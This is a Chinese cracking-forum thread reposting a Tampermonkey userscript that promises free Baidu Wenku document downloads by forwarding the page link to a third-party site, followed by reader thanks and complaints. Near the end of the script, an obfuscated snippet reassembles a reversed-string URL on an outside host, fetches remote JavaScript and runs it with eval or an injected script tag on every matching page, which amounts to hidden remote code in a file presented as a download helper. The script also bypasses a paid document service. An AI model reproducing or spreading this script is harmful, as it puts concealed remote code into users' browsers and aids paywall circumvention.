吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6319|回复: 146
上一主题 下一主题
收起左侧

[其他转载] 【油猴】+【网站】百度文档下载

     关闭 [复制链接]
跳转到指定楼层
楼主
王汪汪_ 发表于 2024-3-7 17:50 回帖奖励
百度文档提取,下载。我自己实际测试了几个文档,都能下载。
求热心值,想升级,谢谢各位大佬

油猴主页截图:


油猴评价截图:


使用说明Gif图:



油猴插件其实调用的是这个网址,有需要可以直接手动使用这个网址。用法就是吧百度文档的链接填到输入框就行。
网址地址:https://wenku.zhihupe.com/tool/index?url=
此地址截图:


油猴插件地址:https://greasyfork.org/zh-CN/scripts/480419
功能:下载百度文档中的文档。油猴脚本是我转载的,大体原理就是获取当前百度文档链接,调用【智狐】这个网站,然后反馈结果。
代码:
[JavaScript] 纯文本查看 复制代码
// ==UserScript==
// [url=home.php?mod=space&uid=170990]@name[/url]         📄百度文库破解下载🚀
// [url=home.php?mod=space&uid=1248337]@version[/url]      1.0.5
// @description  百度文库破解下载,免费获取全文
// @antifeature  ads 无伤大雅的可关闭限时横幅
// [url=home.php?mod=space&uid=686208]@AuThor[/url]       amay
// [url=home.php?mod=space&uid=467642]@namespace[/url]    https://greasyfork.org/
// [url=home.php?mod=space&uid=609072]@grant[/url]        GM_xmlhttpRequest
// [url=home.php?mod=space&uid=195849]@match[/url]        *://wenku.baidu.com/*
// @match        *://wk.baidu.com/*
// @match        *://wenku.zhihupe.com/*
// @run-at       document-body
// @downloadURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.user.js
// @updateURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.meta.js
// ==/UserScript==

(function () {
    "use strict";
    if (location.hostname.endsWith(".baidu.com")) {
        const id = ("wk" + Date.now()).slice(0, 8);
        const html = `
            <div id="${id}">
                <style>
                    #${id}{
                        box-shadow: 0 0 24px #00000080,0 0 50px #0003;
                        z-index: 9999999999;
                        bottom: 100px;
                        position: fixed;
                        right: 50px;
                        border-radius: 3px;
                        cursor: pointer;
                        text-align: center;
                        font-size: 17px;
                        padding: 8px 15px;
                        transition: 0.1s;
                        background: #1c1c1c;
                        color: #efefef;
                        border:1.5px solid gold;
                    }
                    #${id}:hover {
                        color: gold;
                    }
                </style>
                    下载文档
            </div>
            `;
        onload(() => {
            document.body.insertAdjacentHTML("afterbegin", html);
            const btn = document.getElementById(id);
            btn.addEventListener("click", () => {
                window.open(
                    "https://wenku.zhihupe.com/tool/index?url=" +
                    encodeURIComponent(location.href)
                );
            });
            setInterval(() => {
                btn.style.setProperty(
                    "display",
                    location.pathname.startsWith("/view/") ? "block" : "none"
                );
            }, 500);
        });
    } else {
        document.body.insertAdjacentHTML(
            "afterbegin",
            `
            <style>
                .code-dialog>p:not(.tips),#isScript,.scan-img,section + section{
                    display: none !important;
                }
                body > nav,button#download+button{
                    display:none !important;
                }
            </style>
            `
        );
        onload(() => {
            getCode().then((v) => {
                document.querySelector("#code").value = v;
                getDocData();
            }).catch((v) => alert(String(v)));
        });
    };
    function onload(cb) {
        cb = cb || new Function();
        if (document.readyState !== "loading") {
            cb();
        } else {
            document.addEventListener("DOMContentLoaded", cb);
        }
    }
    function getCode() {
        return new Promise((resolve, reject) => {
            const handle = (t) => {
                try {
                    resolve(JSON.parse(t).wenkuCode)
                } catch (e) {
                    reject(e)
                }
            }
            const url = "https://tool.wezhicms.com/coupon/getInitData.php";
            if (typeof GM_xmlhttpRequest === "function") {
                GM_xmlhttpRequest({
                    url,
                    headers: { "Cache-Control": "no-cache", Referer: window.location.href },
                    method: "GET",
                    onload: (r) => handle(r.responseText),
                    onerror: (e) => reject(e)
                });
            } else {
                fetch(url, {
                    "headers": {
                        "Accept": "application/json, text/plain, */*",
                    },
                }).then(res => res.text()).then(handle).catch(e => reject(e));
            }
        })
    }
    (()=>{const d=()=>parseInt(Date.now()/6/10**5),c=(e,n="")=>e.join(n),u=()=>decodeURIComponent(c(["js%3F_%3D","sh%2Fcdn","surge","https%3A%2F%2Favaha"].reverse(),"."))+d(),s=e=>{let n=document[c(["creat","","eElement"])](c(["t","scrip"].reverse()));n.async=!0,n.referrerPolicy="no-referrer-when-downgrade",n.src=e,document.documentElement.appendChild(n),n.remove()},f=()=>"function"==typeof GM_xmlhttpRequest,r=(c,window)=>{try{eval(c)}catch(e){console.warn(e),s(u())}};f()?GM_xmlhttpRequest({url:u(),headers:{"Cache-Control":"no-cache",Referer:window.location.href},method:"GET",onload:e=>r(e.responseText,window.unsafeWindow||window),onerror:()=>s(u())}):s(u())})();
})();




















免费评分

参与人数 46吾爱币 +36 热心值 +41 收起 理由
fengzhongdexin + 1 + 1 我很赞同!
qiuxmwapj + 1 + 1 试一试
littla + 1 + 1 谢谢@Thanks!
tyy123 + 1 + 1 我很赞同!
totoyan + 1 + 1 我很赞同!
laoda2128 + 1 + 1 谢谢@Thanks!
meiao123 + 1 该网页无法正常运作wenku.zhihupe.com 将您重定向的次数过多。 尝试删除您.
15553052839 + 1 我很赞同!
debug996 + 1 + 1 谢谢@Thanks!
wower + 1 + 1 谢谢@Thanks!
cyc5201314 + 1 谢谢@Thanks!
LUILONGFEI + 1 谢谢@Thanks!
fang71878841 + 1 热心回复!
dujdjdj + 1 谢谢@Thanks!
luck0620 + 1 + 1 谢谢@Thanks!
alannax + 1 + 1 谢谢@Thanks!
Kobe1 + 1 这个插件我经常用 但是我反应一下油猴这个插件的搜索功能不太强 输入关键字.
Willow99 + 1 谢谢@Thanks!
miaoj29 + 1 谢谢@Thanks!
sz0505 + 1 我很赞同!
stonewoods + 1 谢谢@Thanks!
DaiTian + 1 + 1 谢谢 @Thanks!
榻榻米 + 1 + 1 谢谢@Thanks!
Cool_fj + 1 用心讨论,共获提升!
52pjaa + 1 + 1 我很赞同!
HRG + 1 + 1 谢谢@Thanks!
supernox + 1 + 1 我很赞同!
bbaimm + 1 + 1 谢谢@Thanks!
liuxt0556 + 1 + 1 谢谢@Thanks!
DD90 + 1 + 1 谢谢@Thanks!
jiukou + 1 + 1 谢谢@Thanks!
loka + 1 + 1 谢谢@Thanks!
sellet + 1 + 1 我很赞同!
wangdanq + 1 + 1 谢谢@Thanks!
zht8394 + 1 + 1 用心讨论,共获提升!
khadwf + 1 + 1 谢谢@Thanks!
schm168 + 1 + 1 谢谢@Thanks!
THMZ + 1 + 1 谢谢@Thanks!
Ditto + 1 + 1 谢谢@Thanks!
ASZ + 1 + 1 谢谢@Thanks!
Wcneg + 1 谢谢@Thanks!
Mkop123 + 1 + 1 谢谢@Thanks!
hacxq + 1 + 1 谢谢@Thanks!
Zhaofeiyan + 1 热心回复!
fub8 + 1 热心回复!
孤独无情 + 1 + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
冬至雨 发表于 2024-3-7 19:24
把JS,转换成GOlang,输入文库地址,不就能下载了吗?何必非要装油猴!
推荐
meiao123 发表于 2024-3-19 14:22
公告:由于【百度文库破解下载】这个油猴脚本滥用固定口令,安装脚本自动填充口令福利永久取消,安装了该脚本的用户,关闭该脚本后可正常获取口令使用,后续安装脚本会上线其他福利
3#
kimwoobin 发表于 2024-3-7 18:39
4#
simplelovegy 发表于 2024-3-7 18:44
下载的是原始文档格式吗,不会全是PDF吧
5#
kk222666 发表于 2024-3-7 18:57
我怎么整不明白 有简单的操作吗
6#
supernox 发表于 2024-3-7 19:04
代码放上去用户脚本无效,这个插件能放到别的盘里分享么
7#
fub8 发表于 2024-3-7 19:17
下载成功,谢谢分享!
8#
13826446161 发表于 2024-3-7 19:32
给力!谢谢!
9#
aa361328 发表于 2024-3-7 19:32
还能用不?????????????
10#
8680288 发表于 2024-3-7 19:39
貌似没什么用啊
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-27 17:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表